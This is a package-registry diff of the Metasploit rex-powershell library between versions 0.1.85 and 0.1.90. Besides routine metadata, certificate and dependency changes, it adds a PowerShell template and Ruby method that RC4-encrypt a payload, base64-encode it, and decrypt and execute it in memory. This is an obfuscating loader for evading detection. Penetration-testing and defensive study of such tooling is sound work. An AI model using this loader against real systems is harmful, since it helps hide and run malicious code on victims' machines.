rex-powershell 0.1.85 → 0.1.90

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 702fe7016f4c75a159cfc75cce5020cac043533459028ae595e642690f7dee3d
4
- data.tar.gz: e8cc37a3f4d5b54e00d946cc46a7be97a36afd594b3f779e4f14ec8c7ae3fd0d
3
+ metadata.gz: 0a33516521ac7e860fca2bc66ae38f9859cac0588b657c8ffbe2e5ce8120adde
4
+ data.tar.gz: 222e5ad9199ac80d8c8ec1b88d9504550f89b8811bc36dfc5df9bd34f3c7f329
5
5
  SHA512:
6
- metadata.gz: a6840dad82143d20e681be0dd85a308d5ff37ae10cbbd9753ea2c565b4e8279a96e70edfc35d93338284acb85db35325100853c3e965ebb276f73a78ab163316
7
- data.tar.gz: bc1f89c37c3e025996c6aed2086ce79b2cdf314ba6fff2be16bb8777a31fb00fb1440d5ff33716b7e7a505745ac5e69e43952e0114868ea6bf090e864fc3924a
6
+ metadata.gz: 2d048a4d9875adff24b0a7168813918bfa36914130fb41df3666242f2553571b9afe0befac3daa3117f557f0881289e0ec21ceefe2b11922315747a73b6613ff
7
+ data.tar.gz: df1b2109a3ffb337e5691f1a517ee08a99cb335c7b916c820a62e8caef91437a4c6815ad02bb7910daebb05a010acd51c79cc7ce101c7ab617577b9d4d1165ac
checksums.yaml.gz.sig CHANGED
Binary file
data.tar.gz.sig CHANGED
Binary file
data/.travis.yml CHANGED
@@ -3,4 +3,4 @@ group: stable
3
3
  cache: bundler
4
4
  language: ruby
5
5
  rvm:
6
- - 2.3.3
6
+ - 2.7.2
@@ -0,0 +1,40 @@
1
+ function %{func_rc4_decrypt} {
2
+ param([Byte[]]$%{var_rc4buffer})
3
+
4
+ $%{var_key} = ([system.Text.Encoding]::UTF8).GetBytes("%{random_key}")
5
+
6
+ $s = New-Object Byte[] 256;
7
+ $k = New-Object Byte[] 256;
8
+
9
+ for ($i = 0; $i -lt 256; $i++)
10
+ {
11
+ $s[$i] = [Byte]$i;
12
+ $k[$i] = $%{var_key}[$i %% $%{var_key}.Length];
13
+ }
14
+
15
+ $j = 0;
16
+ for ($i = 0; $i -lt 256; $i++)
17
+ {
18
+ $j = ($j + $s[$i] + $k[$i]) %% 256;
19
+ $temp = $s[$i];
20
+ $s[$i] = $s[$j];
21
+ $s[$j] = $temp;
22
+ }
23
+
24
+ $i = $j = 0;
25
+ for ($x = 0; $x -lt $%{var_rc4buffer}.Length; $x++)
26
+ {
27
+ $i = ($i + 1) %% 256;
28
+ $j = ($j + $s[$i]) %% 256;
29
+ $temp = $s[$i];
30
+ $s[$i] = $s[$j];
31
+ $s[$j] = $temp;
32
+ [int]$t = ($s[$i] + $s[$j]) %% 256;
33
+ $%{var_rc4buffer}[$x] = $%{var_rc4buffer}[$x] -bxor $s[$t];
34
+ }
35
+
36
+ $%{var_rc4buffer}
37
+ }
38
+
39
+ &([scriptblock]::create(([system.Text.Encoding]::UTF8).GetString((%{func_rc4_decrypt} ([System.Convert]::FromBase64String("%{b64payload}"))))))
40
+
@@ -123,6 +123,8 @@ module Command
123
123
  # powershell profile (-NoProfile)
124
124
  # @option opts [String] :windowstyle The window style to use
125
125
  # (-WindowStyle)
126
+ # @option opts [String] :version The version of Powershell to run
127
+ # (-version)
126
128
  #
127
129
  # @return [String] Powershell command arguments
128
130
  def self.generate_psh_args(opts)
@@ -157,6 +159,8 @@ module Command
157
159
  arg_string << '-NoProfile ' if value
158
160
  when :windowstyle
159
161
  arg_string << "-WindowStyle #{value} " if value
162
+ when :version
163
+ arg_string << "-Version #{value} " if value
160
164
  end
161
165
  end
162
166
 
@@ -188,6 +192,7 @@ module Command
188
192
  arg_string.gsub!('-OutputFormat ', '-o ')
189
193
  arg_string.gsub!('-Sta ', '-s ')
190
194
  arg_string.gsub!('-WindowStyle ', '-w ')
195
+ arg_string.gsub!('-Version ', '-v ')
191
196
  end
192
197
 
193
198
  # Strip off first space character
@@ -301,7 +306,9 @@ EOS
301
306
  else
302
307
  fail RuntimeError, 'No Powershell method specified'
303
308
  end
304
-
309
+ if opts[:exec_rc4]
310
+ psh_payload = Rex::Powershell::Payload.to_win32pe_psh_rc4(template_path, psh_payload)
311
+ end
305
312
  # Run our payload in a while loop
306
313
  if opts[:persist]
307
314
  fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
@@ -1,5 +1,6 @@
1
1
  # -*- coding: binary -*-
2
2
  require 'rex/random_identifier'
3
+ require 'rc4'
3
4
 
4
5
  module Rex
5
6
  module Powershell
@@ -106,6 +107,27 @@ module Payload
106
107
  read_replace_script_template(template_path, "to_mem_msil.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
107
108
  end
108
109
 
110
+ #
111
+ # PSH script that executes an RC4 encrypted payload with Invoke-Expression
112
+ # by Adrian Vollmer (SySS GmbH, https://www.syss.de)
113
+ #
114
+ def self.to_win32pe_psh_rc4(template_path = TEMPLATE_DIR, code)
115
+ rig = Rex::RandomIdentifier::Generator.new(DEFAULT_RIG_OPTS)
116
+ rig.init_var(:func_rc4_decrypt)
117
+ rig.init_var(:var_rc4buffer)
118
+ rig.init_var(:var_key)
119
+
120
+ key = Rex::Text.rand_text_alpha(rand(8)+8)
121
+ rc4 = RC4.new(key)
122
+ enc_code = rc4.encrypt(code)
123
+
124
+ hash_sub = rig.to_h
125
+ hash_sub[:random_key] = key
126
+ hash_sub[:b64payload] = Rex::Text.encode_base64(enc_code)
127
+
128
+ read_replace_script_template(template_path, "to_mem_rc4.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
129
+ end
130
+
109
131
  end
110
132
  end
111
133
  end
@@ -1,5 +1,5 @@
1
1
  module Rex
2
2
  module Powershell
3
- VERSION = "0.1.85"
3
+ VERSION = "0.1.90"
4
4
  end
5
5
  end
@@ -6,8 +6,8 @@ require 'rex/powershell/version'
6
6
  Gem::Specification.new do |spec|
7
7
  spec.name = "rex-powershell"
8
8
  spec.version = Rex::Powershell::VERSION
9
- spec.authors = ["David 'thelightcosine' Maloney"]
10
- spec.email = ["DMaloney@rapid7.com"]
9
+ spec.authors = ['Metasploit Hackers']
10
+ spec.email = ['msfdev@metasploit.com']
11
11
 
12
12
  spec.summary = %q{Rex Powershell Utilities}
13
13
  spec.description = %q{Ruby Exploitation(Rex) library for generating/manipulating Powershell scripts}
@@ -20,10 +20,10 @@ Gem::Specification.new do |spec|
20
20
 
21
21
  spec.required_ruby_version = '>= 2.2.0'
22
22
 
23
- spec.add_development_dependency "bundler", "~> 1.12"
24
- spec.add_development_dependency "rake", "~> 10.0"
25
- spec.add_development_dependency "rspec", "~> 3.0"
23
+ spec.add_development_dependency "rake"
24
+ spec.add_development_dependency "rspec"
26
25
 
27
26
  spec.add_runtime_dependency 'rex-text'
28
27
  spec.add_runtime_dependency 'rex-random_identifier'
28
+ spec.add_runtime_dependency 'ruby-rc4'
29
29
  end
metadata CHANGED
@@ -1,10 +1,10 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rex-powershell
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.1.85
4
+ version: 0.1.90
5
5
  platform: ruby
6
6
  authors:
7
- - David 'thelightcosine' Maloney
7
+ - Metasploit Hackers
8
8
  autorequire:
9
9
  bindir: exe
10
10
  cert_chain:
@@ -64,20 +64,20 @@ cert_chain:
64
64
  -----END CERTIFICATE-----
65
65
  - |
66
66
  -----BEGIN CERTIFICATE-----
67
- MIIFIzCCBAugAwIBAgIQDX9ZkVJ2eNVTlibR5ALyJTANBgkqhkiG9w0BAQsFADBy
67
+ MIIFIzCCBAugAwIBAgIQCMePMbkSxvnPeJhYXIfaxzANBgkqhkiG9w0BAQsFADBy
68
68
  MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
69
69
  d3cuZGlnaWNlcnQuY29tMTEwLwYDVQQDEyhEaWdpQ2VydCBTSEEyIEFzc3VyZWQg
70
- SUQgQ29kZSBTaWduaW5nIENBMB4XDTE5MTAxNjAwMDAwMFoXDTIwMTAxOTEyMDAw
70
+ SUQgQ29kZSBTaWduaW5nIENBMB4XDTIwMTAwNzAwMDAwMFoXDTIzMTEwNjEyMDAw
71
71
  MFowYDELMAkGA1UEBhMCVVMxFjAUBgNVBAgTDU1hc3NhY2h1c2V0dHMxDzANBgNV
72
72
  BAcTBkJvc3RvbjETMBEGA1UEChMKUmFwaWQ3IExMQzETMBEGA1UEAxMKUmFwaWQ3
73
- IExMQzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANHnKegPAghKuZk4
74
- Gy1jKaZEXbWc4fxioTemv/F1yIYzAjCWP65qjKtyeeFDe4/kJzG9nseF9oa93YBf
75
- 1nyEqxNSZMw/sCAZ87lOl713dRi73uxOoszy2PT5xEB+Q5R6cbzExkWG2zrLdXDr
76
- so0Bd6VHw+IsAoBBkAq5FrZOJQYGn5VY20xw/2DqtCeoW4QDWyqTnbJmwO9tZrfr
77
- 3Le2crfk2eOgafaPNhLon5uuIKCZsk2YkUSNURSS3M7gosMwU9Gg4JTBi7X5+oww
78
- rY43dJT28YklxmNVu8o5kJxW4dqLKJLOIgSXZ63nceT/EaCSg7DcofHNcUzejFwb
79
- M7Zbb2kCAwEAAaOCAcUwggHBMB8GA1UdIwQYMBaAFFrEuXsqCqOl6nEDwGD5LfZl
80
- dQ5YMB0GA1UdDgQWBBR18CAeMsIEU+0pXal/XXw9LCtMADAOBgNVHQ8BAf8EBAMC
73
+ IExMQzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALNTz4zvAy7h/vQp
74
+ 4dr1txXHlABAagkwYYwTMCtHs5PXsJITx/5SAjx5swuaLfze5kPBNF2YImvFlOXY
75
+ WaB+0PsOnXnaARsDZU683xFlj8izU6IN6VrAHzDLKFBzruJENrOJD/ikbEtbjO/q
76
+ gFbmS9J9v5ohG/pcRSS0t4ZPAwymf8eCp6QsvOKK/Aymp1RhlRaP8N6N5CIpkhz1
77
+ 9p968iCE+DjOXVYxcWE+jE/7uB1dbgrXykNBujMSS3GULOvVEY28n6NCmrPlo23g
78
+ yRjYVJ2Vy14nBqnxDZ/yRIfWRVjWoT9TsAEbe9gY29oDpSCSs4wSmLQd5zGCpZ9h
79
+ r0HDFB8CAwEAAaOCAcUwggHBMB8GA1UdIwQYMBaAFFrEuXsqCqOl6nEDwGD5LfZl
80
+ dQ5YMB0GA1UdDgQWBBTLBL7DTwumVEKtdCdpHVYMXOFeDzAOBgNVHQ8BAf8EBAMC
81
81
  B4AwEwYDVR0lBAwwCgYIKwYBBQUHAwMwdwYDVR0fBHAwbjA1oDOgMYYvaHR0cDov
82
82
  L2NybDMuZGlnaWNlcnQuY29tL3NoYTItYXNzdXJlZC1jcy1nMS5jcmwwNaAzoDGG
83
83
  L2h0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9zaGEyLWFzc3VyZWQtY3MtZzEuY3Js
@@ -86,59 +86,59 @@ cert_chain:
86
86
  JAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBOBggrBgEFBQcw
87
87
  AoZCaHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0U0hBMkFzc3Vy
88
88
  ZWRJRENvZGVTaWduaW5nQ0EuY3J0MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQEL
89
- BQADggEBAFpzR9s7lcYKDzSJucOHztEPj+iSIeCzxEw34NTE9M2AfkYIu82c4r2a
90
- bzIGmzZWiCGufjOp0gF5xW6sSSJ9n0TqH0nhHhvjtZQkmkGtOBbN1zeYDFS2ozAp
91
- sljF/g68Y1eYs3NaFf7kQUa6vb6RdjW3J8M9AQ8gthBt7gr/guVxd/gJUYbdDdBX
92
- cWfJJi/X7GVBOBmmvA43qoKideuhOBrVGBHvIF/yO9p23dIiUrGmW9kxXCSxgute
93
- JI/W23RbIRksG2pioMhd4dCXq3FLLlkOV1YfCwWixNB+iIhQPPZVaPNfgPhCn4Dt
94
- DeGjje/qA4fkLtRmOtb9PUBq3ToRDE4=
89
+ BQADggEBAN+GL5/myPWg7oH4mVrG7/OhXF1MoYQF0ddaNiqaweEHMuKJBQCVZRbL
90
+ 37HojoKXXv2yyRJBCeTB+ojrxX+5PdLVZa0ss7toWzJ2A1poPXZ1eZvm5xeFD32z
91
+ YQaTmmNWNI3PCDTyJ2PXUc+bDiNNwcZ7yc5o78UNRvp9Jxghya17Q76c9Ov9wvnv
92
+ dxxQKWGOQy0m4fBrkyjAyH9Djjn81RbQrqYgPuhd5nD0HjN3VUQLhQbIJrk9TVs0
93
+ EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
94
+ 9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
95
95
  -----END CERTIFICATE-----
96
- date: 2020-02-17 00:00:00.000000000 Z
96
+ date: 2021-04-23 00:00:00.000000000 Z
97
97
  dependencies:
98
98
  - !ruby/object:Gem::Dependency
99
- name: bundler
99
+ name: rake
100
100
  requirement: !ruby/object:Gem::Requirement
101
101
  requirements:
102
- - - "~>"
102
+ - - ">="
103
103
  - !ruby/object:Gem::Version
104
- version: '1.12'
104
+ version: '0'
105
105
  type: :development
106
106
  prerelease: false
107
107
  version_requirements: !ruby/object:Gem::Requirement
108
108
  requirements:
109
- - - "~>"
109
+ - - ">="
110
110
  - !ruby/object:Gem::Version
111
- version: '1.12'
111
+ version: '0'
112
112
  - !ruby/object:Gem::Dependency
113
- name: rake
113
+ name: rspec
114
114
  requirement: !ruby/object:Gem::Requirement
115
115
  requirements:
116
- - - "~>"
116
+ - - ">="
117
117
  - !ruby/object:Gem::Version
118
- version: '10.0'
118
+ version: '0'
119
119
  type: :development
120
120
  prerelease: false
121
121
  version_requirements: !ruby/object:Gem::Requirement
122
122
  requirements:
123
- - - "~>"
123
+ - - ">="
124
124
  - !ruby/object:Gem::Version
125
- version: '10.0'
125
+ version: '0'
126
126
  - !ruby/object:Gem::Dependency
127
- name: rspec
127
+ name: rex-text
128
128
  requirement: !ruby/object:Gem::Requirement
129
129
  requirements:
130
- - - "~>"
130
+ - - ">="
131
131
  - !ruby/object:Gem::Version
132
- version: '3.0'
133
- type: :development
132
+ version: '0'
133
+ type: :runtime
134
134
  prerelease: false
135
135
  version_requirements: !ruby/object:Gem::Requirement
136
136
  requirements:
137
- - - "~>"
137
+ - - ">="
138
138
  - !ruby/object:Gem::Version
139
- version: '3.0'
139
+ version: '0'
140
140
  - !ruby/object:Gem::Dependency
141
- name: rex-text
141
+ name: rex-random_identifier
142
142
  requirement: !ruby/object:Gem::Requirement
143
143
  requirements:
144
144
  - - ">="
@@ -152,7 +152,7 @@ dependencies:
152
152
  - !ruby/object:Gem::Version
153
153
  version: '0'
154
154
  - !ruby/object:Gem::Dependency
155
- name: rex-random_identifier
155
+ name: ruby-rc4
156
156
  requirement: !ruby/object:Gem::Requirement
157
157
  requirements:
158
158
  - - ">="
@@ -168,7 +168,7 @@ dependencies:
168
168
  description: Ruby Exploitation(Rex) library for generating/manipulating Powershell
169
169
  scripts
170
170
  email:
171
- - DMaloney@rapid7.com
171
+ - msfdev@metasploit.com
172
172
  executables: []
173
173
  extensions: []
174
174
  extra_rdoc_files: []
@@ -185,6 +185,7 @@ files:
185
185
  - data/templates/to_mem_msil.ps1.template
186
186
  - data/templates/to_mem_old.ps1.template
187
187
  - data/templates/to_mem_pshreflection.ps1.template
188
+ - data/templates/to_mem_rc4.ps1.template
188
189
  - lib/rex/powershell.rb
189
190
  - lib/rex/powershell/command.rb
190
191
  - lib/rex/powershell/function.rb
metadata.gz.sig CHANGED
Binary file